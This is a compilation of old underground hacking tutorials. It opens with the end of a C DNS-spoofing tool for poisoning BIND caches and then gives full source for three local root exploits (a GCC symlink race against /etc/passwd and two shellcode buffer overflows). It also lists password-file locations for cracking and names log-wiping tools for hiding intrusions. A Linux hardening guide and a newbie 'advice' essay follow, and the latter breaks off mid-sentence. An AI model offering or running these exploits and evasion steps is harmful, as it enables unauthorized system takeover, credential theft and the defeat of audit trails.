    p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
    p=dnsaddbuf(p,&dns->qd[i].type,2);
    p=dnsaddbuf(p,&dns->qd[i].class,2);
  }

  /********** Answer ***********/
  for (i=0;i<ntohs(dns->h.ancount);i++) {
    p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
    p=dnsaddbuf(p,&dns->an[i].type,2);
    p=dnsaddbuf(p,&dns->an[i].class,2);
    p=dnsaddbuf(p,&dns->an[i].ttl,4);
    len=htons(dns->an[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  }

  /********** Nameservers ************/
  for (i=0;i<ntohs(dns->h.nscount);i++) {
    p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
    p=dnsaddbuf(p,&dns->ns[i].type,2);
    p=dnsaddbuf(p,&dns->ns[i].class,2);
    p=dnsaddbuf(p,&dns->ns[i].ttl,4);
    len=htons(dns->ns[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  }

  /********** Additional ************/
  for (i=0;i<ntohs(dns->h.arcount);i++) {
    p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
    p=dnsaddbuf(p,&dns->ar[i].type,2);
    p=dnsaddbuf(p,&dns->ar[i].class,2);
    p=dnsaddbuf(p,&dns->ar[i].ttl,4);
    len=htons(dns->ar[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  }

  return(p-buf);
}

void main(int argc, char *argv[])
{
  int sock, fromlen, numread, len, query;
  struct sockaddr_in sa, from, to;
  struct in_addr rev;
  char *buf, *sendbuf;
  char *domainnamebuf;
  dnsheaderrec *dns;
  char *p;
  dnsrec dnsh;
```

```
  char *beginhost_QD, *beginhost_A, *beginhost_srch;
  char *fakenshost_A, *fakens_DOM;
  char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;

  printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
  printf("by nimrood\n\n");
  if (argc != 7) {
    printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip>
<spoofedhost>\n",argv[0]);
    printf("     beginhost   :      requested to initiate false caching, ex: begin.ib6ub9.com\n");
    printf("     fakenshost :      server name to answer false PTR's, ex: ns.ib6ub9.com\n");
    printf("     fakensip    :      IP of server name to answer false PTR's, ex: 205.160.29.19\n");
    printf("     fakensdom   :      domain name false name server controls, ex: ib6ub9.com\n");
    printf("     spoofedip   :      IP of machine you want to spoof from, ex: 204.154.2.93\n");
    printf("     spoofedhost:      name you want to spoof, ex: teak.0wns.j00\n\n");
    exit(-1);
  }

  if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
    perror("malloc");
```

```
    exit(-1);
  }

  if ((buf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
    perror("socket");
    exit(-1);
  }

  beginhost_QD = strcpy(beginhost_QD,argv[1]);
  beginhost_QD = strcat(beginhost_QD, " IN A");

  beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");

  beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
  printf("%s\n",beginhost_srch);

  fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
  fakenshost_A = strcat(fakenshost_A, argv[3]);

  fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
  fakens_DOM = strcat(fakens_DOM,argv[2]);

  spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
  spoofedip_A = strcat(spoofedip_A,argv[5]);

  rev.s_addr = rev_long(inet_addr(argv[5]));
  spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA
IN PTR ");
  spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);

  printf("%s\n%s\n%s\n%s\n%s\n%s\n",
    beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);

  sa.sin_family = AF_INET;
/*   sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(53);

  if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    perror("bind");
    exit(-1);
```

```
  }

  setvbuf(stdout,NULL,_IONBF,0);

  while (1) {
    fromlen=sizeof(from);
    if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
      perror("recvfrom");
      continue;
    }

    /* Kludge to stop that damn router */
    if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
      continue;

    dns=(dnsheaderrec *)buf;

    if (dns->qr)
      continue;

    p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
    query=ntohs(*(unsigned short *)p);
    printf("Packet from %s : %d : %s (%d)\
n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);

    if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
      dnsbuildpacket(&dnsh,1,4,1,1,
    beginhost_QD,

    beginhost_A,
    spoofedip_A,
    spoofedip_PTR,
    fakenshost_A,

        fakens_DOM,

    "www.yahoo.com IN A 255.255.255.255");

    } else {
      /* Error */
      dnsh.h.rcode=5;
      strcat(domainnamebuf," IN A");
      dnsbuildpacket(&dnsh,1,0,0,0,
        domainnamebuf);
    }
    dnsh.qd[0].type=htons(query);

    dnsh.h.id=((dnsheaderrec *)buf)->id;
    dnsh.h.qr=1;
    dnsh.h.aa=1;

    len=dnsmakerawpacket(&dnsh,sendbuf);

    to.sin_family=AF_INET;
    to.sin_addr.s_addr=from.sin_addr.s_addr;
    to.sin_port=from.sin_port;
```

```
    if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
      perror("sendto");
      continue;
    }
  }
}
```

*I wont add anymore dont want to make this tut to long u can find other programs out there just search the web..
There are alot of other tuts out there on ip spoofing so i dont want to rewrite one there is one goos one that comes to mind called
-=[A short overview of IP spoofing: PART II]=-
-=[Part of 'The Packet Project']=-
ill get it pasted at the mpd site because its worth reading
it will go into more detail on ip spoofing then i want to for this tut
this is just a tut for newwbiez so once u get into learning ip spoofing and tcpip stack spoofs go to that tut to get info on it .
----------Tci ip/dns spoofing----------

This for of spoofing tricks a program into misleading commands from the spoofed tcpip
This form of attack is done by sending forged return parkets (packets are just messages from the computer to indentify with other ones).Dns Spoofing is where u the attacker forges his infomation about which mechine he is using to get onto a server with root (root is something ill descusse furthur in this tut.)
----------Web spoofing ----------
this form of attack is common what it does is when someone goes to a web page with a expore they have to connect to the server the web page is running off what a web page spoof is. Is where the attacker changes his ip and host because when ever a user connects to a web page his proof of connecting is stored in logs on the server.

4.Now that u have learned how to secrure ya server offline and on
this next part will teach u a bit about computer hacking .

--------Netbios Attack----------
A netbiso attack is where the attacker searches alot of mechines for a fault in sharing values see alot of computer are networked and when they are networked they have sharing values on what amount of access the other computers have to the files on that computer..This form of attack is now rare usually u wont find a computer with this vault
but u can get programs that scan hole domains for computers that have the fault
one suck program i know of is..legion
u can find this program on the net.

----------Now there are allso other forms of hacking in like tcpip stack and upd faults
but finding these arnt to easy but once u do u will have alot of fun getting onto others comps.I wont cover these attacks yet because u need a little knowlage on tcpip stacks and upd ports.

5.Server hacking..
There are many forms of server hacking around ill cover a couple just to start u off
but before u can start to hack servers u need to know how a server works and how they are set up.
Most isp (internet service providers) are running off a unix/linux mechine and u guys should be happy because u are too..
Now all isp have like 1 hd which u connect to when u connect to the isp through whatever form u

do .
On these hd are folder lots of folders full of user info passwds and logins
and many other stuff..
Now the main way alot of hackers do is called :) u all know expolits. Expoits are programs made or just ways to get around secruity on a server and computer to gain root (root is the highest possable access on a server except supervisor access.See all servers give users levels of access on there server.If u normal user thats lowest level access :(.Most users of a isp have that access. Ok expolits ill give only a couple u should really find ya own using others are dumb because if they are published on the net others servers will find them.. See the way most expolit work is there exes well... first there c codes and u compile to make exes.. U need upload access to the server then u upload the exe program and run it to get root.Thats the common expolit there are others expolits which is just ways of getting around the secruity to get root.Here is a couple exploits u need to compile

Linux/expolit
gcc expolit

```
#!/bin/bash

# Simple GCC exploit (tested under 2.7.2.3.f.1)
# - by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------
# Usage: "screen ./gcc_ln" then Ctrl+A,D
# ---------------------------------------------
# Ugh, blah... Should be written in C for
# better performance, but I have no time :)

VICTIM=/etc/passwd

if [ ! -f $VICTIM ]; then
  echo "I can't see my victim ($VICTIM)..."
  exit 0
fi

ORIG=`ls -l $VICTIM|awk '{print \$5}'`

echo "GCC exploit launched against $VICTIM ($ORIG bytes)."

renice +20 $PPID >&/dev/null

cd /tmp

while [ 1 ]; do

  V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`

  if [ ! "$V" = "" ]; then
    ln $VICTIM ${V}.s &>/dev/null
    ln $VICTIM ${V}1.o &>/dev/null
    NOWY=`ls -l $VICTIM|awk '{print \$5}'`
    if [ "$ORIG" = "$NOWY" ]; then
      echo -n "."
      rm -f ${V}.s ${V}1.o &>/dev/null
    else
      echo "Voila. I'm so smart."
      rm -f ${V}.s ${V}1.o &>/dev/null
      exit 0
```

```
    fi
  fi

done

------=_NextPart_000_004B_01BD22B0.CAE78180--

#!/bin/bash

# Simple GCC exploit (tested under 2.7.2.3.f.1)
# - by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------
# Usage: "screen ./gcc_ln" then Ctrl+A,D
# ---------------------------------------------
# Ugh, blah... Should be written in C for
# better performance, but I have no time :)

VICTIM=/etc/passwd

if [ ! -f $VICTIM ]; then
  echo "I can't see my victim ($VICTIM)..."
  exit 0
fi

ORIG=`ls -l $VICTIM|awk '{print \$5}'`

echo "GCC exploit launched against $VICTIM ($ORIG bytes)."

renice +20 $PPID >&/dev/null

cd /tmp

while [ 1 ]; do

  V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`

  if [ ! "$V" = "" ]; then
    ln $VICTIM ${V}.s &>/dev/null
    ln $VICTIM ${V}1.o &>/dev/null
    NOWY=`ls -l $VICTIM|awk '{print \$5}'`
    if [ "$ORIG" = "$NOWY" ]; then
      echo -n "."
      rm -f ${V}.s ${V}1.o &>/dev/null
    else
      echo "Voila. I'm so smart."
      rm -f ${V}.s ${V}1.o &>/dev/null
      exit 0
    fi
  fi

Bsd expolit...
Bsd termfile expolit
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
```

```
#define filename "./termcap"
#define entry     "access|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870      /* Should work...*/

char shellcode[] =
    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
    "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";

long get_sp(void)
{
    __asm__("movl %esp, %eax\n");
}

int main(int argc, char *argv[]) {
    int i, fd, offs;
    long *bof_ptr;
    char *ptr, *buffer, *tempbuf;

    offs = default_offset;

    if(argc == 2) {
        printf("using offset: %d\n",atoi(argv[1]));
        offs = atoi(argv[1]);
    }

    if(!(buffer = malloc(bufsize))) {
        printf("can't allocate enough memory\n");
        exit(0);
    }


   if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
        printf("can't allocate enough memory\n");
        exit(0);
    }

    bof_ptr = (long *)buffer;
    for (i = 0; i < bufsize - 4; i += 4)
        *(bof_ptr++) = get_sp() - offs;

    ptr = (char *)buffer;
    for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
        *(ptr++) = 0x90;

    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

    printf("Creating termcap file\n");

    snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry,
buffer);
    fd = open(filename, O_WRONLY|O_CREAT, 0666);
    write (fd, tempbuf, strlen(tempbuf));
```

```
    close(fd);
}

solaris expolit
ld linux sp 1.9.2 hole

/*
 * buffer overflow exploit for ld-linux.so.1.9.2
 * by Dan McGuirk <mcguirk@indirect.com>
 * based on Aleph One's "smashing the stack" code
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                  3300
#define DEFAULT_BUFFER_SIZE               1013
#define NOP                             0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff_bin_sh";

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  printf("sp is 0x%x\n", get_sp());
  addr = get_sp() - offset;   /* a valid addr is addr = 0xbfffeba8; here */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
```

```
  buff[bsize - 1] = '\0';

  memcpy(buff, "EGG=", 4);
  putenv(buff);
  system("ln -sf /bin/sh _bin_sh");
  system("ln -sf /bin/su aa");
  system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  system("rm -f _bin_sh");
  system("rm -f aa");
}
```

* ow the 3 above are just diff types of linux o/s
u should know this rember learn ya linux/unix before u start to hack it ...
Ok now that i have covered expolits another way more risky is to get onto the server and download the passwd file
here is a list of all the places the passwd file is

Version	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files//	
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	

The tokens are tells u what sort of secruity the passwd file is in
See all passwd files are setup like encrypted/shadowed or not
see they encrpyt and shadow passwd files because the they know if a user gets the paswd file they have all the ussers logins and passwds on the server even root so to prevent anyone from getting they either encrypt or shadow the passwd file
ok if u do get the passwd file from the server u will need to decrypt it or unshadow it depending on what sort of secruity the server did to it
now there are alot of programs out there to do this
my fav "john the ripper"
and others favorite "cracker jack"
these are really good programs that crack the passwd file
u need diconary files to decrypt them do read the txts with john and cracker jack
see the way a cracker works is u have a long long long dic file with millions of works
now the cracker compares the encrypted/shadowed txt to the words in the dic file
and if gets a match bam u got your self a login and pass this proccess if very risks and someones u get 0 passwds so your srewed.This is last attempt see in servers like i said they record all loging atempts and what the user's are doing so if u go for the passwd file be warned if u dont delte or

the log's from the server they got u. But u will be fine if u spoofed ya ip and host then they cant get u well.. servers cant governments can trace ya line.
Now there are many logs and alot of users dont want the server to know they downloaed the passwd file so they dont change the roots login and pass thus even if u get the passwd of root your srewed they have changed pass :(. Ok now here are all the logs .. On server there are others..But these are main logs are easy to find so dont worry.
WTMP - every log on/off, with login/logout time plus tty and host
UTMP - who is online at the moment
LASTLOG - where did the logins come from
There are others.... just search around they are easly found
this where the top 3 files are ussually located
UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log

Shells------
sh: .sh_history

csh: .history

ksh: .sh_history

bash: .bash_history

zsh: .history
Backup Files :

Ok now here are some secruity programs secruity programs are programs that save logs and other info on users for more backup. U dont really have to worrie not alot of servers have these but its worth looking for.See some servers go to the extreme of sending the logs to other isps for safty.Here is list of secruity programs that might be on a server and wher they are on a server.

SOFTWARE	STANDARD PATH	BINARY FILENAMES
tripwire	/usr/adm/tcheck, /usr/local/adm/tcheck	databases, tripwire
binaudit	/usr/local/adm/audit	auditscan
hobgoblin	~user/bin	hobgoblin
raudit	~user/bin	raudit.pl
l5	compile directory	l5

U will find all this info on MAx01 handbook on the mpd site..
Now u cant edit a log by hand :).I know thats fucked but thats the way it is here is a list of some log editor programs.

ah-1_0b.tar	Changes the entries of accounting information
clear.c	Deletes entries in utmp, wtmp, lastlog and wtmpx
cloak2.c	Changes the entries in utmp, wtmp and lastlog
invisible.c	Overwrites utmp, wtmp and lastlog with predefines values, so it's better than zap. Watch out, there are numerous inv*.c !

marryv11.c **Edit utmp, wtmp, lastlog and accounting data - best!**

wzap.c **Deletes entries in wtmp**

wtmped.c **Deletes entries in wtmp**

zap.c **Overwrites utmp, wtmp, lastlog - Don't use! Can be detected**

Now the top 2 are just some ways of server hacking there are others
i wouldnt do the last one unless u really have too
there are ones like rhost login attacks,Flood attacks,Packets attacks and so forth
i hope this tut helps u out ill be writting others soon on more advanced ways of hacking
have fun hacking

MAx

Securing Your Linux Box

Securing Your Linux Box

By,

ÅçìÐMêìTéR

Alright, so you have just bought a shiny new distribution of linux. You love it so much and it's so nice and kewl to be in linux, and show off to all your, H@cKeR friends!! Suddenly one bright friend says, hey elt me have an account on your system, since you're so happy you don't give a damn, you think nothing is gonna hurt your new and shiny system. So you finally get it figured out how to make an account, etc... After a while when you're just enjoying your system in general, you notice your harddrive light flashing constantly without stop, your computer is slow as a motha fucker. You do a w on the system to see how many people are logged on to see there's another root logged, about a minute later you get a message that says "You dumbass i just rooted your system, and wasted it!" Well in this text i will try to just basiacly secure your system, I am not saying it is gonna be the securest system in the world, actually no system is, but at least you will be able to keep all the little ugly script kiddies out of your system.

Well if you are a complete paranoid person and dn't want any risk of someone breaking into your system, my only comment is, don't install a system at all, infact dont even try to own a computer, because no operating system is secure, however some are more secure than others. By the way this file comes with no warranty that your system wont be broken into, but it will at least keep the dumb little script kiddies out, if however you would like me to take around your box after you have secured it off accordingly to this file just e-mail me at ameister@vol.com and let me know the info and shit and then whenever you're online i will feel free to take a lookie around.

I will start by explaining various mportant files in your system, how they work, and how to secure them.

The Inet Daemon:

The Inet daemon (ietd) is started at boot time and controls what services are available on your system. You'll want to edit the inetd configuration file, which is stored in /etc/inetd.conf, you basiacly need to clean out the needless services. Many of the services listen in /etc/indetd.conf are not needed by a regular linux user, and many of them are very hazardous where security is concerned. Unnecessary services should be commented out, after which inted should be restarted (kilall -HUP inetd). The only service you should absolutely not comment out is auth, it's what allows servers to verify your identity via identd requests. Auth operates on port 113. If you are pwanting to give out shells you might also wish to enable telnet and ftp. But just to make this whole experience mroe fun, and offcourse make your system harder for a lamer to get into we could change the ports that suck services as telnet and ftp run on, now you're gonna ask how the #$%#@ can i do that. Goto /etc/services by teh services which will be ftpd and telnetd, you will see a number this is the port number on which the program is run, just change the number and you will be changing the nunber, just remember

not to get any port numbers other services use. This will make nearly all fucked up enwbies and lamers give up on your system, they're gonna say damn his box dosnt have a shell, but you know better :-) So here's an example since people supposidly learn better from examples.

```
ftpd            666/tcp
telnetd          667/tcp
```

In this case ftp would be running on port 666 and telnet on port 667, as stated above just change the port numers to whatever ports you wish to run these services on.

Well so you say this isnt gonna do me much good when i'm gonna be giving away free shells to some peeps i know on the net, well here's a good idea, enable your logs!

The Syslog Deamon

The Syslog daemon (syslogd) is also started at boot time. It controls where system log files are saved, and what sorts of activities are to be logged. It's configuration file is stored in /etc/syslog.conf the only thing that is required of you is to just make some qwuick changes to this file, which will make your logs easier to read and also a lot more efficient.

Well let's start by saving your system logs to files, to do this just add the following lines to your syslog.conf file (use tabs not spaces, between the logs and path to the files).

```
*.*                                             /var/log/all
local5.*                                        /var/log/tcplog
local4.*                                        /var/log/icmplog
kern.*                                           /var/log/kern
daemon.*                                           /var/log/daemon
auth.*                                          /var/log/auth
*.=debug                                          /var/log/debug
*.=info;*.=notice                               /var/log/messages
*.warning;*.err;*.crit;*.alert;*.emerg          /var/log/syslog
```

This should log the most important information to the files you specified above, which you can spend hours reading every night after everyone leaves your system (they're just so interesting :-). If you are gonna be looking at you log a lot during the day or whenever you may also want to add an activity log, this will allow you to view logs very quickly, just add these lines to syslog.conf

```
*.*                                             /var/log/tty7
local5.*                                        /var/log/tty8
local4.*                                        /var/log/tty9
kern.*                                           /var/log/tty10
daemon.*                                           /var/log/tty11
auth.*                                          /var/log/tty12
```

This will display all system activity on tty7, so to see the log real fast type in (Alt+F7), the information will also be saved to /var/log/all. If for

some reason you're using these tty's just replace them with others ex. tty13 or tty19 or whatever. The logs can be accessed thought the alt keys for example if you wish to see the TCP logs which are displayed on tty8 simply press alt+F8, or if you wish to see the ICMP messages on tty9 simply press Alt+F9 etc....

So now your system is pretty secure against the little script kiddie who dosnt have a brain, and has no knowledge of unix at all, and only can run scripts. But then you get a better hacker on your system who will find his own basic exploits, so heres what you do, this is the fun part it's called SUID programs, well heres a little information on how the whole thing works.

As said above here's the fun part. Suid bits. SUID stands for set user ID. Each user on a linux machine has their own unique user ID (UID), which can be changed throughthe use of /bin/su. This can be an extremely dangerous

There are many files on a Linux box which require root priviliges to run. su is one of these programs, as are passwd, ping, strace, and many others. When executed, such programs tempoarily switch the user's ID to 0 (root), and then switch the UID back to it's original number when it is finished. Now this as your brilliant mind should already have discovered, causes a major security risk, what if a user could run a SUID program and then cras it while it was running, maybe the user would be passed a root shell, YES! i do think so... To check if there are any SUID programs in a directory do a ls -la any programs that have an s in their permission string is suid and that a users UID is set to zero when this file is executed. EX.

-r-sr-xr-x 1 root bin 12288 May 20 1997 /usr/bin/su

The su file has a SUID bit in it, see the s in the permission line (on the left), the program will change the uid to 0 so it can be executed as root, because only root has authority to run this file. So since you're not trying to exploit suid programs, but instead preventing suid sploits. It is advisable to remove the suid bits from most of the files contained on your linux box. To do this simply type chmod a-s filename. The only suid you absolutely must have are /usr/bin/passwd and /usr/bin/su . A quick way to search and find all the suid files on your system is by typing find / -user root -perm -4000 -print if you wish to place the output in a file so you dont ahve to scroll up and down the screen to see which files are SUID type in find / -user root -perm -4000 -print > suid , you can name the file anything you want i just choose to name it suid in this case.

It is also unwise to have your system so any user can use the su command. If i were you i would create a su group. To do this first change group ownership of /bin/su to the group su by typing in the wollowing command (chgrp su /bin/su), then change it's file permissions to allow only those in the su group to access it by typing (chmod o-x /bin/su), and add the following line to /etc/group

su::685:root, useraccount, admin

The useraccount and admin are only examples they need to be replaced with the usernames of the people who you will allow access to execute the su program. Also feel free to change the su groups GID in the above example it would be 685.

Well just incase a hacker get.s your system rooted, the below information might just save your systems ass. You definately do not want root to be able to log in remotely on your system. So open up the /etc/securetty file, this file controls which ttys are allowed to log in as root. Only the console and local ttys (tty1, tty2, etc.) should be allowed to log in as root. Remote ttys (ttyS0, ttyS1, ttyp0, ttyp1, etc.) should not be allwoed to log in as root. Comment these ttys out. After having edited your /etc/securetty file should look something like, the one below.

```
console
tty1
tty2
tty3
tty4
tty5
tty6
#ttyS0
#ttyS1
#ttyS2
#ttyS3
#ttyp0
#ttyp1
#ttyp2
#ttyp3
```

Now if you are completely paranoid, or just a general physco, like larry at skewl (a guy who's a physco, from NY!!! that explains it all :-) you might want to control what hosts are even allowed to get a login prompt on your machine. To do this add ALL:ALL to /etc/hosts.deny . But lets say you have a good friend who is connecting from psi.net but he has a dynamic hostname (IP address changes evertime he gets online), wel anywayz his hostname is like ip170.mountain-view.ca.pub-ip.psi.net , well in thsi case we will allow for any user from psi net to reach a login prompt by adding the following line to /etc/hosts.allow

```
ALL:psi.net
```

Also as another security hazard it is not advisable to mount your DOS or whatever other filesystem you may have. If you really want to mount the create directories in /root for them that way no other users can access them.

Well thats about it for this time my fingers are way fucking tired, anywayz i hope all you people wh wanted me to write this are happy. And for goodness dont forget to shadow your passwd file by typing pwconv ... Well now that you know all this great security knowledge, hopefully it will also help you out when exploiting a system where no scripts work or whatever,, well please visit my webpage @ http://www.vol.com/~ameister while you're there click my sponsors, sighn the guestbook, and join my mailing list, to keep up with great updates, on text and other thigns such as this one. If you have any questions, comments, or deaththreats just send them to ameister@vol.com.

D I S C L A I M E R:

WELL THIS PART IS NECESSARY, YES SADLY BUT TRUE THERE ARE NARCHS OUT THERE, SO HERE GOES. FOR ALL YOU PEOPLE WHO DONT KNOW THIS INFORMATION IS FOR INFORMATIONAL PURPOSES ONLY, IT IS NOT TO BE USED TO TAKE PART IN ANY CRIMINAL ACTS. ME AND/OR MY ISP WILL NOT BE HELD RESPONSIBLE FOR ANY INFORMATION YOU CHOOSE TO MSUE WRONGLY WITHIN THIS DOCUMENT, OR ANYTHING ELSE I MIGHT DECIDE TO WRITE.

Advice on the Net

Advice For Any Newbie Who Wants To Become A Real Hacker

Well you already have a good start, at least you're reading this text file, and if you think it's too complicated, too long, or that a text file written by a hacker that is not famous, then go ahead and be some careless little newbie who dies along with all the other lamerz. The first thing is that everywhere on the web on every hacking site it is written in BOLD letters that to become a hacker you should read! read! read!, well this is the only way you will become a true hacker, you may become someone who uses programs to get into computer systems and people may call you a hacker but deep inside us, the real hackerz know you're not and if you ever had to face us you would not have a clue of what a hacker really does, or who he/she is. Many newbies cry for help this is very common this may be ignorant newbies who just found out what a hacker is, or newbies who are simply too lazy to ever try and find things themselves so instead they ask, this once again is not how you shoudl become a hacker becomming a hacker is going to be harder than anything your school, colleage, job ot whatever, because there is only you and your own brain you have to teach yourself for the main part, some pople seem to have a problem teaching themselves, so maybe they were just never meant to be hackers they will normally go on to be lamerz, who only cause havoc for other people. You will mainly learn from examples i know i did thats why in my hackign guides i have always tried to show an example, since this seems to be a real good method of learning. To really be a hacker though you must try to look for your own exploits, possibly write your own programs to possibly find holes in systems, just remember you are not a hacker if you use others programs, but if you write your own then it's you that has made it and therefore you should use it. The cry's about help are ridicolous though, all you have to do is browse through a newsgroup, and you will see at least 100 messages such as "help me to start hacking!!!""How do i hack?" or even, yes sad but true "will pay money for help on hacking", one time ia ctually replied to one of those messages, and helped the guy out because it wasnt really that bad a question, the deal was that he would send me $100 if i helped him aqnd i though "yeah right", but sure enough 3 days laterz there came $100 in the mail, i have only however done this once, but may do it again if i get something thats worth answering. Well newbies weird as it may seem there are plenty of places out there to get your information on hacking out there, but this is part of becomming a hacker, a hacker should not just eb worried about his result he should think about the path he followed to take it. A real hacker has to think for him/her self, a hacker cant go around and the information on accounts and stuff from everyone else, if it was like this there wouldnt be anything called hackign because noone would have an idea how to break into a system. To become a hacker will not take a day, week, month, nor a year, it will take you years and years to build up gthe knowledge which is needed to become really good, in other words uncathcable, and even then your knowledge will still not be complete because the computer world moves so fast there will always be something new to learn, but just remember you are never the best there is always someone bigger and better than you out there. Welcome to the threats section of this text file, i hate these threats made by small low life ignorant little newbies, things such as "shut the fuck up or i will blow up your computer", these threats are so stupid, and so childish, however the public thinks this is hacking, and so the rea hackers get yet another bad name. Things such as mailbombing will get you nowhere, if you use your own server they will more than likely notice all the mails sent in the time span it took you, and you will get some dumbass message from the system administrator saying that next time you mailbomb you will be kicked from your server for good. Please tell me someone what the hell is the point, besides pissing someone else off but they could just go on any site and get a mailbox cleaner try Genious 1.0 from www.sinnerz.com it is pretty good or the one in HakTek. If however you do find a mailserver that allows passthroughs then whats the point yes you wont be traced as easily, you wont loose your ISP account, however and anonymous mail can easily be traced it is so easy, anywayz i will like write another text file on that like in about a week so look for that. So please if you are gonna Mailbomb, and Nuke get over it fast!!!! before you nuke the wrong person and you mysteriously die from a 